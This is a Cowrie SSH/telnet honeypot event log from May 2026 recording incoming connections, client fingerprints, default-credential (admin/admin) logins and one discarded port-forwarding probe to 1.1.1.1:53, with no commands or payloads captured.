{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":60423,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ceb7965bc62","protocol":"telnet","message":"New connection: 38.25.25.113:60423 (10.17.0.5:23) [session: 2ceb7965bc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:10:32.222240Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.102.34.9","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"68352213493b","protocol":"telnet","message":"New connection: 14.102.34.9:55304 (159.203.135.109:23) [session: 68352213493b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:12:07.164678Z"}
{"eventid":"cowrie.session.closed","duration":12.061079978942871,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:12:19.225635Z","src_ip":"14.102.34.9","session":"68352213493b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01380395889282,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:12:32.236012Z","src_ip":"38.25.25.113","session":"2ceb7965bc62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":36953,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0762370c9d4","protocol":"telnet","message":"New connection: 38.25.25.113:36953 (10.17.0.5:23) [session: a0762370c9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:12:32.433797Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35630,"dst_ip":"10.17.0.5","dst_port":22,"session":"3538428a324a","protocol":"ssh","message":"New connection: 194.59.206.2:35630 (10.17.0.5:22) [session: 3538428a324a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:13:23.191877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:13:23.196949Z","src_ip":"194.59.206.2","session":"3538428a324a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:13:23.286760Z","src_ip":"194.59.206.2","session":"3538428a324a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:13:23.377035Z","src_ip":"194.59.206.2","session":"3538428a324a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.24.224","src_port":33314,"dst_ip":"159.203.135.109","dst_port":22,"session":"6544184d7f59","protocol":"ssh","message":"New connection: 45.156.24.224:33314 (159.203.135.109:22) [session: 6544184d7f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.381678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.386336Z","src_ip":"45.156.24.224","session":"6544184d7f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.460270Z","src_ip":"45.156.24.224","session":"6544184d7f59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.609873Z","src_ip":"45.156.24.224","session":"6544184d7f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.686934Z","src_ip":"45.156.24.224","session":"6544184d7f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":39760,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeb75b31733c","protocol":"ssh","message":"New connection: 130.12.180.51:39760 (159.203.135.109:22) [session: aeb75b31733c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.835270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.840733Z","src_ip":"130.12.180.51","session":"aeb75b31733c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.923071Z","src_ip":"130.12.180.51","session":"aeb75b31733c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55436,"dst_ip":"159.203.135.109","dst_port":23,"session":"680ca6d9f785","protocol":"telnet","message":"New connection: 135.148.33.91:55436 (159.203.135.109:23) [session: 680ca6d9f785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:26.972775Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:27.168679Z","src_ip":"130.12.180.51","session":"aeb75b31733c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:27.730327Z","src_ip":"130.12.180.51","session":"aeb75b31733c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00489020347595,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:32.438580Z","src_ip":"38.25.25.113","session":"a0762370c9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":13199,"dst_ip":"10.17.0.5","dst_port":23,"session":"d675aea063a4","protocol":"telnet","message":"New connection: 38.25.25.113:13199 (10.17.0.5:23) [session: d675aea063a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:35.681971Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.117.32","src_port":35428,"dst_ip":"159.203.135.109","dst_port":23,"session":"162d511f4936","protocol":"telnet","message":"New connection: 159.203.117.32:35428 (159.203.135.109:23) [session: 162d511f4936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:47.790192Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35386,"dst_ip":"10.17.0.5","dst_port":22,"session":"f952b949a77b","protocol":"ssh","message":"New connection: 87.251.64.176:35386 (10.17.0.5:22) [session: f952b949a77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:53.755432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:53.760401Z","src_ip":"87.251.64.176","session":"f952b949a77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:53.857140Z","src_ip":"87.251.64.176","session":"f952b949a77b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:54.146782Z","src_ip":"87.251.64.176","session":"f952b949a77b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:54.246248Z","session":"f952b949a77b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:54.346351Z","src_ip":"87.251.64.176","session":"f952b949a77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:14:54.581846Z","src_ip":"87.251.64.176","session":"f952b949a77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.05021619796753,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:15:05.022893Z","src_ip":"135.148.33.91","session":"680ca6d9f785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89786672592163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:15:19.688117Z","src_ip":"159.203.117.32","session":"162d511f4936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44934,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1459ad0853","protocol":"telnet","message":"New connection: 50.6.3.16:44934 (10.17.0.5:23) [session: ae1459ad0853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:15:23.783052Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5389ab3fb08","protocol":"telnet","message":"New connection: 50.6.3.16:57026 (10.17.0.5:23) [session: f5389ab3fb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:15:38.635472Z"}
{"eventid":"cowrie.session.closed","duration":31.13342308998108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:15:54.916394Z","src_ip":"50.6.3.16","session":"ae1459ad0853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07765221595764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:16:09.713032Z","src_ip":"50.6.3.16","session":"f5389ab3fb08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53742,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94d1af7080f","protocol":"telnet","message":"New connection: 50.6.3.16:53742 (10.17.0.5:23) [session: e94d1af7080f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:16:20.798677Z"}
{"eventid":"cowrie.session.closed","duration":120.0097496509552,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:16:35.691609Z","src_ip":"38.25.25.113","session":"d675aea063a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":54142,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ce4d1c0a454","protocol":"telnet","message":"New connection: 38.25.25.113:54142 (10.17.0.5:23) [session: 3ce4d1c0a454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:16:38.922303Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51166,"dst_ip":"159.203.135.109","dst_port":23,"session":"05b561be5ad8","protocol":"telnet","message":"New connection: 135.148.33.91:51166 (159.203.135.109:23) [session: 05b561be5ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:16:49.489607Z"}
{"eventid":"cowrie.session.closed","duration":30.893900632858276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:16:51.692479Z","src_ip":"50.6.3.16","session":"e94d1af7080f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39283776283264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:17:21.882313Z","src_ip":"135.148.33.91","session":"05b561be5ad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38164,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef99506a833","protocol":"telnet","message":"New connection: 50.6.3.16:38164 (10.17.0.5:23) [session: cef99506a833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:20.672313Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d86c938f7f8","protocol":"telnet","message":"New connection: 50.6.3.16:38170 (10.17.0.5:23) [session: 5d86c938f7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:25.916312Z"}
{"eventid":"cowrie.session.closed","duration":120.00728511810303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:38.929469Z","src_ip":"38.25.25.113","session":"3ce4d1c0a454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":32929,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d7b2e0803dc","protocol":"telnet","message":"New connection: 38.25.25.113:32929 (10.17.0.5:23) [session: 5d7b2e0803dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:39.433585Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":32888,"dst_ip":"10.17.0.5","dst_port":23,"session":"b014d39e9960","protocol":"telnet","message":"New connection: 38.25.25.113:32888 (10.17.0.5:23) [session: b014d39e9960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:42.314532Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":33623,"dst_ip":"10.17.0.5","dst_port":23,"session":"556dfc803901","protocol":"telnet","message":"New connection: 38.25.25.113:33623 (10.17.0.5:23) [session: 556dfc803901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:48.739971Z"}
{"eventid":"cowrie.session.closed","duration":31.07837438583374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:51.750364Z","src_ip":"50.6.3.16","session":"cef99506a833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52638554573059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:18:57.442362Z","src_ip":"50.6.3.16","session":"5d86c938f7f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"c424d46f4a5f","protocol":"telnet","message":"New connection: 50.6.3.16:58008 (10.17.0.5:23) [session: c424d46f4a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:13.590592Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58018,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adaaafd47f3","protocol":"telnet","message":"New connection: 50.6.3.16:58018 (10.17.0.5:23) [session: 0adaaafd47f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:13.886652Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52826,"dst_ip":"10.17.0.5","dst_port":23,"session":"19df649d0a8e","protocol":"telnet","message":"New connection: 50.6.3.16:52826 (10.17.0.5:23) [session: 19df649d0a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:28.648055Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":32792,"dst_ip":"10.17.0.5","dst_port":23,"session":"94043c3fd242","protocol":"telnet","message":"New connection: 50.6.3.16:32792 (10.17.0.5:23) [session: 94043c3fd242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:41.108593Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":32808,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0d27b9813e","protocol":"telnet","message":"New connection: 50.6.3.16:32808 (10.17.0.5:23) [session: 7b0d27b9813e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:44.317648Z"}
{"eventid":"cowrie.session.closed","duration":30.654104948043823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:44.540601Z","src_ip":"50.6.3.16","session":"0adaaafd47f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.762130737304688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:45.352628Z","src_ip":"50.6.3.16","session":"c424d46f4a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":32824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8d0302d0153","protocol":"telnet","message":"New connection: 50.6.3.16:32824 (10.17.0.5:23) [session: a8d0302d0153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:45.653321Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":32830,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c756a24fa2d","protocol":"telnet","message":"New connection: 50.6.3.16:32830 (10.17.0.5:23) [session: 1c756a24fa2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:47.104453Z"}
